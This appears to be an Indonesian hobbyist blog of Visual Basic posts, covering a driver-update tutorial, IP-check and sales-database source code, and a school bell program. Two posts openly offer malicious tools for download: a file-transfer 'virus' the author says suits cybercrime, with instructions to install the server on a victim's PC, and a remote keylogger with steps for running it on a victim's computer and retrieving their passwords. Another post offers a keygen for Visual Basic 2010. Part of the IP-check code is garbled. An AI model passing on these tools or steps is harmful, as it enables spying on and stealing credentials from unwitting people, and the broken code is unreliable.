slim driver

Sebenernya saya sudah membuat posting tentang slim driver tetapi belum make gambar jadi kurang mantap rasanya.jadi kali ini saya berikan tutorial cara mencari driver dengan slim driver. Sebenarnya si sekalian tadi malem saya baru instlall ulang dan inget saya belum bikin tutorialnya jadi sekalian bikin screenshootnya hee.
Yang perlu di ingat adalah driver Lan di komputer kamu sudah terinstall.
1. jalankan Slim driver dengan cara double klik di icon slim drivernya heee kaya gaptek banget ya kaya gini aja harus di terangin

2. Klik start scan dan slim driver mulai bekerja untuk mencari driver apa yang belum ada.

3. Slim driver sedang bekerja

4. Slim driver menemukan banyak driver yang belum terinstall heee maklum kompi jadul

5. Klik download update di salah satu driver yang belum ada

6.Slim driver mendownload driver yang belum tersedia dan akan langsung mengistall driver yang belum ada dan jika selesai maka Slim driver akan meminta untuk mereboot atau meristart komputer anda ini terserah anda tapi untuk mendapatkan hasil yang lebih baik baiknya di restart itu pun jika sudah terinstall semua.kalau baru satu terinstall reboot,nah kalau ada 10 driver 10 kali reboot dong cape deeh.

Selesai dan saya rasa ini sangat mudah dan sangat praktis heeee


download slim disini

Read more »

uploader virus v 1.0

blan ini bru posting hmmm terlambat banget.., ok postingan kali ini saya akan berbagi program client server lagi yang berguna untuk transfer file tapi lebih seru law di gunakan untuk tujuan kriminalitas dunia maya..,
kwkwkwkwkwkwkwkwkwk

ok langsung aja

ni aku punya programnya yang di buat di vb6.0.., bkan aku sheee yang buat tapi edit source codenya dikit .,
dan q tambahkan pada program klientnya animasi ala matrix..,

pelajari sendiri yah,, zox q capek nulis.., ni aku lagi bolos sekolah
he he he he he he he he

yang jelasnya program clientnya harus di jalankan di folder asalanya
dan untuk si korban instalkan pada kompix server setup

download di sini >>>> ____▲||||||▲___

Read more »

key logger jarak jauh

malam ini posting lagi.., hmmm ni tutorial nak rpl yang lagi pusing banget.., q punya program keylogger jara jauh yang di buat oleh ojan di vb.., SC blum saya upload nanti law sudah ada 2 komentar baru saya upload.., siap".., lansung aja tutorial nya... cekidot

- download remot keyloggernya di sini
- download keyloggernya di sini
       ok lanjut..., jlankan keylogernya pada komputer korban., klik 2 kali yang di beri lingkaran warna merah

  setelah itu jlankan remot keylogger untuk meremotnya
klik 2kli client.exe dan masukkan ip korban seperti pd gambar di bwah

dan langsung aja tkan ambil password,,,.
JREEEEEENGGGGGGGGGG
mka akn muncul password si korban.., mntap kan..,

SC blum saya upload tunggu sampai ada yang minta di upload dengan cara memberi komentar..,
mnimal 3 kmentar ok..,

Read more »

cek ip address di vb

akhirnya dapat juga source code cek koneksi ip .., hmmmm langsung aja belajar bersama..,

contoh formnya begini,,,

Berikut ini adalah Source codenya. Langsung saja yang dibutuhkan dalam pembuatan aplikasi ini adalah :
- 2 label dengan property name LblCekMyIP1 dan LblCekMyIP2

- 1 timer dengan property name Timer1, iNTERVAL = 1000

- Winsock1, untuk menambahkan Winsock1 pada toolbox maka dengan cara klik kanan pada toolbox pilih component dan centang microsoft winsock control 6.0

- status bar dengan property name SB, untuk menambahkan status bar pada toolbox caranya sama dengan winsock tetapi pilih windows common controls 6.0(sp6) Kemudian setelah status bar ditambahkan dalam form maka klik kanan status bar tersebut pilih property dan pada tab panel pilih angka 2 pada textbox Autosize.

- 1 modul untuk source code cek koneksi internet dan ip adress/Host name- 1 form

Semoga bermanfaat, terimakasih.
========================================

'COPY PASTEKAN KODE DI BAWAH INI PADA FORM

========================================

Private Sub Form_Load()

Timer1.Enabled = True

LblCekMyIP1 = "IP Host Name: " & GetIPHostName

LblCekMyIP2 = "IP Address: " & GetIPAddress()

End Sub

Private Sub Timer1_Timer()

If InternetGetConnectedState(0&, 0&) = 1 Then

SB.Panels(1).Text = "Status: Terhubung dengan Internet"

Else

SB.Panels(1).Text = "Status: Tidak terhubung dengan Internet"

End If

End Sub

=============================

Letakkan code di bawah Ini pada Modul

=============================

'cek koneksi internet

Public Declare Function Internet

GetConnectedState Lib "wininet.dll" (ByRef lpdwFlags As Long, ByVal dwReserved As Long) As Long

'---------CEK IP Adress komputer dan HOST NAME-----

Public Const MAX_WSADescription = 256Public Const MAX_WSASYSStatus = 128'

Public Const ERROR_SUCCESS As Long = 0

Public Const WS_VERSION_REQD As Long = &H101

Public Const WS_VERSION_MAJOR As Long = WS_VERSION_REQD \ &H100 And &HFF&

Public Const WS_VERSION_MINOR As Long = WS_VERSION_REQD And &HFF&

Public Const MIN_SOCKETS_REQD As Long = 1Public Const SOCKET_ERROR As Long = -1

Public Type HostenthName As LonghAliases As LonghAddrType As IntegerhLen As IntegerhAddrList As Long

End Type

Public Type WSADATAwversion As IntegerwHighVersion As IntegerszDescription(0 To MAX_WSADescription) As ByteszSystemStatus(0 To MAX_WSASYSStatus) As BytewMaxSockets As IntegerwMaxUDPDG As IntegerdwVendorInfo As Long

End Type

Public Declare Function WSAGetlastError Lib "wsock32.dll" () As Long

Public Declare Function WSAStartup Lib "wsock32.dll" (ByVal wVersionRequired As Long, lpWSAdata As WSADATA) As Long

Public Declare Function WSACleanup Lib "wsock32.dll" () As Long

Public Declare Function gethostname Lib "wsock32.dll" (ByVal szHost As String, ByVal dwHostLen As Long) As Long

Public Declare Function GetHostByName Lib "wsock32.dll" Alias "gethostbyname" (ByVal szHost As String) As Long

Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (hpvdest As Any, ByVal hpvSource As Long, ByVal cbCopy As Long)

Public Function GetIPAddress() As String

Dim sHostName As String * 256

Dim lpHost As Long

Dim HOST As Hostent

Dim dwIPAddr As Long

Dim tmpIPAddr() As Byte

Dim i As Integer

Dim sIPAddr As String

If Not SocketsInitialize() Then

GetIPAddress = ""

Exit Function

End If

If gethostname(sHostName, 256) = SOCKET_ERROR Then

GetIPAddress = ""MsgBox "Windows Sockets Error " & Str$(WSAGetlastError()) & " has occurred. Host Name tidak dapat ditampilkan."SocketsCleanup

Exit Function

End If

sHostName = Trim$(sHostName)

lpHost = GetHostByName(sHostName)

If lpHost = 0 Then

GetIPAddress = "" MsgBox "Socket Windows tidak memberikan respon. " & "Host Name tidak dapat ditampilkan." SocketsCleanup

Exit Function

End If

CopyMemory HOST, lpHost, Len(HOST)CopyMemory dwIPAddr, HOST.hAddrList, 4ReDim tmpIPAddr(1 To HOST.hLen)CopyMemory tmpIPAddr(1), dwIPAddr, HOST.hLenFor i = 1 To HOST.hLensIPAddr = sIPAddr & tmpIPAddr(i) & "."NextGetIPAddress = Mid$(sIPAddr, 1, Len(sIPAddr) - 1)SocketsCleanup

End Function

Public Function GetIPHostName() As StringDim sHostName As String * 256If Not SocketsInitialize() ThenGetIPHostName = ""

Exit Function

End If

If gethostname(sHostName, 256) = SOCKET_ERROR ThenGetIPHostName = ""MsgBox "Windows Sockets Error " & Str$(WSAGetlastError()) & " has occurred. Host Name tidak dapat ditampilkan."SocketsCleanup

Exit Function

End IfGetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)SocketsCleanup

End Function

Public Function HiByte(ByVal wParam As Integer)HiByte = wParam \ &H100 And &HFF&

End Function

Public Function LoByte(ByVal wParam As Integer)LoByte = wParam And &HFF&

End Function

Public Sub SocketsCleanup() If WSACleanup() <> error_success_ Then MsgBox " Socket Error terjadi dalam CleanUp."

End If

End Sub

Public Function SocketsInitialize() As Boolean

Dim WSAD As WSADATA

Dim sLoByte As String

Dim sHiByte As StringIf WSAStartup(WS_VERSION_REQD, WSAD) <> ERROR_SUCCESS ThenMsgBox "Socket Windows 32-bit tidak respon"SocketsInitialize = False

Exit Function

End If

If WSAD.wMaxSockets = MIN_SOCKETS_REQD Then MsgBox "Aplikasi ini membutuhkan minimum " & CStr(MIN_SOCKETS_REQD) & " Socket yang support." SocketsInitialize = False

Exit Function

End If

If LoByte(WSAD.wversion) < shibyte =" CStr(HiByte(WSAD.wversion))" slobyte =" CStr(LoByte(WSAD.wversion))MsgBox" socketsinitialize =" False">
Exit Function
End If SocketsInitialize = True
End Function

mantap kan linstingnya,,, cukup membuat kepala pusiingggg,, inilah sc kucank-kucank rpl

Read more »

visual basic 2010 expres

Microsoft Visual Basic 2010 Express adalah versi gratis dari Microsoft Visual Basic 2010. Versi lengkap dari Visual Basic 2010 ialah dengan memiliki Microsoft Visual Studio 2010. Versi gratis memiliki beberapa keterbatasan tapi sangat berguna bagi seorang programmer profesional. Namun saya akan memberikan keygen Visual Basic 2010 supaya menjadi full version. Visual Basic adalah bahasa pemrograman yang paling mudah untuk komputer Windows dan merupakan titik awal yang baik untuk pemrograman.

berdasarkan .NET framework yang merupakan API dan telah disertakan dengan versi yang lebih baru dari Windows. IDE ini digunakan oleh para profesional serta pengguna rumah. Intellisense adalah fitur yang disertakan dari versi sebelumnya juga seperti Intellisense 5.0 dan 6.0. Ini membantu seorang programmer untuk menyelesaikan pengetikan, metode dan bahkan nama variabel secara otomatis. Fungsi dan prosedur sub secara otomatis ditambahkan ke bentuk dan kontrol nya. Dengan .NET framework yang mencakup ekstensi paralel untuk sistem komputer baru dengan prosesor multi -core dan multi threading.
key gen visual basic 2010 express klik disini
untuk download klik di sini

Read more »

Program dengan database

ga' perlu basa basi.., langsung aja belajar..

Ketentuan Form :
1. Dianjurkan membuat 6 buah sub(Bersih, Nonaktif, Aktif, Combo_Pelanggan, Combo_barang, penomoran otomatis).
2. Nomor Invoice dibuat denga Format “INV001”.
3. Jika jenis Penjualan Tunai Mendapat potongan sebesar 5%, jika Kredit sebesar 2%.
4. Subtotal = Jumlah Beli * Harga Jual (KeyPress)
5. Proses Penyimpanan dilakukan hanya untuk menyimpan semua field yang ada dalam table Penjualan.

Adapun ketentuan dalam membangun database:

Table Barang

Field Name      Type data    Size
ID_Barang       * Text          5
Nm_Barang       Text           30
Harga_beli        Currency 
Harga_Jual        Currency 
Stok                  Number 

Table Pelanggan

Field Name        Type data     Size
ID_pel               * Text          3
Nm_pel              Text            30
Alamat               Text             50
Kota                  Text             10
No_telp             Text             15

Table Penjualan

Field Name        Type data      Size
Invoice              * Text             6
Tanggal             Date/Time
ID_pel              Text                 3
ID_Barang        Text                 5
Jumlah_Beli       Number
Jns_penjualan    Text                 6


Setelah kalian selesai, Silahkan buat program tersebut dengan ketentuan yang sudah ditentukan oleh saya.

Source Code Latihan VB

Mungkin kalian sedang kebingungan membuat program tersebut. Dipostingan ini saya akan besertakan source codenya juga dengan form yang bisa kalian download.
Input Kode Dibawah ini...Semoga kalian tidak bingung maksud dari kode ini:

Private Sub cbaru_Click()
bersih
aktif
nomat
End Sub

Private Sub cbatal_Click()
bersih
nonaktif
End Sub

Private Sub cbobar_Click()
a1.RecordSource = "select * from barang where nm_barang='" & cbobar.Text & "'"
a1.Refresh
Text2.Text = a1.Recordset!id_barang
tharga.Text = a1.Recordset!harga_jual
End Sub

Private Sub cbopel_Click()
a2.RecordSource = "select * from pelanggan where nm_pel='" & cbopel.Text & "'"
a2.Refresh
Text1.Text = a2.Recordset!id_pel
End Sub

Private Sub ckeluar_Click()
Unload Me
End Sub

Private Sub csimpan_Click()
a3.RecordSource = "select * from penjualan"
a3.Refresh
a3.Recordset.AddNew
a3.Recordset!invoice = tinvoice.Text
a3.Recordset!tanggal = dp1.Value
a3.Recordset!id_pel = Text1.Text
a3.Recordset!id_barang = Text2.Text
a3.Recordset!jumlah_beli = tjumlah.Text
If opttunai.Value = True Then
a3.Recordset!jns_penjualan = "Tunai"
Else
a3.Recordset!jns_penjualan = "Kredit"
End If
a3.Recordset.Update
bersih
nonaktif
End Sub

Private Sub Form_Load()
combo_barang
combo_pelanggan
bersih
nonaktif
End Sub

'pembuatan sub ini terlebih dahulu agar database dapat terkoneksikan
Sub combo_barang()
a1.RecordSource = "select nm_barang from barang order by nm_barang"
a1.Refresh
If a1.Recordset.RecordCount = 0 Then
Exit Sub
Else
a1.Recordset.MoveFirst
Do While Not a1.Recordset.EOF
cbobar.AddItem a1.Recordset!nm_barang
a1.Recordset.MoveNext
Loop
End If
End Sub

Sub combo_pelanggan()
a2.RecordSource = "select nm_pel from pelanggan order by nm_pel"
a2.Refresh
If a2.Recordset.RecordCount = 0 Then
Exit Sub
Else
a2.Recordset.MoveFirst
Do While Not a2.Recordset.EOF
cbopel.AddItem a2.Recordset!nm_pel
a2.Recordset.MoveNext
Loop
End If
End Sub

Sub nomat()
Dim a, b As String
a3.RecordSource = "select * from penjualan order by invoice"
a3.Refresh
If a3.Recordset.RecordCount = 0 Then
b = "INV001"
Else
a3.Recordset.MoveLast
a = Right(a3.Recordset!invoice, 3) + 1
b = "INV" & Right("00" & a, 3)
End If
tinvoice.Text = b
End Sub

Sub aktif()
Dim a As Control
For Each a In Me
If TypeOf a Is TextBox Then a.Enabled = True
If TypeOf a Is ComboBox Then a.Enabled = True
If TypeOf a Is OptionButton Then a.Enabled = True
If TypeOf a Is DTPicker Then a.Enabled = True
Next
End Sub

'untuk membuat sub penonaktifan atas semua textbox, combobox, datapicker, dan option button
Sub nonaktif()
Dim a As Control
For Each a In Me
If TypeOf a Is TextBox Then a.Enabled = False
If TypeOf a Is ComboBox Then a.Enabled = False
If TypeOf a Is OptionButton Then a.Enabled = False
If TypeOf a Is DTPicker Then a.Enabled = False
Next
End Sub


' untuk membuat sub pembersihan atas semua textbox dan combobox
Sub bersih()
Dim a As Control
For Each a In Me
If TypeOf a Is TextBox Then a.Text = ""
If TypeOf a Is ComboBox Then a.Text = ""
Next
End Sub

'Masukan kode ini pada command button dengan nama jumlah
Private Sub tjumlah_KeyPress(KeyAscii As Integer)
Dim potongan As Single
If KeyAscii = 13 Then
If opttunai.Value = True Then
potongan = (tharga.Text * tjumlah.Text) * 0.05
Else
potongan = (tharga.Text * tjumlah.Text) * 0.02
End If
tsubtotal.Text = (tharga.Text * tjumlah.Text) - potongan
Else
End If
End Sub 

Setelah Kalian selesai dengan kode diatas, jangan lupa untuk melakukan pemanggilan beberapa sub tersebut. Yang mana hayooo?? Tentunya kalian tahu yang harus dilakukan, saya tidak akan memberitahukannya. ^,..,^

Bagi kalian yang membutuhkan form beserta databasenya, bisa kalian dapatkan sekarang juga, tinggal download melalui browser kalian.


download contoh programnya di sini 

Read more »

MEMBUAT BEL SEKOLAH OTOMATIS

 hay sobat ktemu lagi di blog anak vb.., di postingan kali ini saya punya source code bel sekolahdari
dari pada tinggal di komputer jadi basikan...,
Source code ini merupakan source code program untuk membunyikan bel sekolah secara otomotis sesuai dengan jam yang di ketikkan, kemudian komputer akan mati sendiri jika udah jam yang ditentukan sehingga orang seorang Tata Usaha yang biasa melakukan bel tidak usah bingung-bingung dalam pengoperasiannya. Program ini dibuat secara otomatis jalan dan hanya orang yang tertentu aja yang bisa mematikan program ini (hehe kecuali komputernya di matikan atau ga ada sambungan listriknya).
nich buat yang mau ,,.
langsung sedot aja.., atau bahasa lainnya di unduh...,

download di sini

Read more »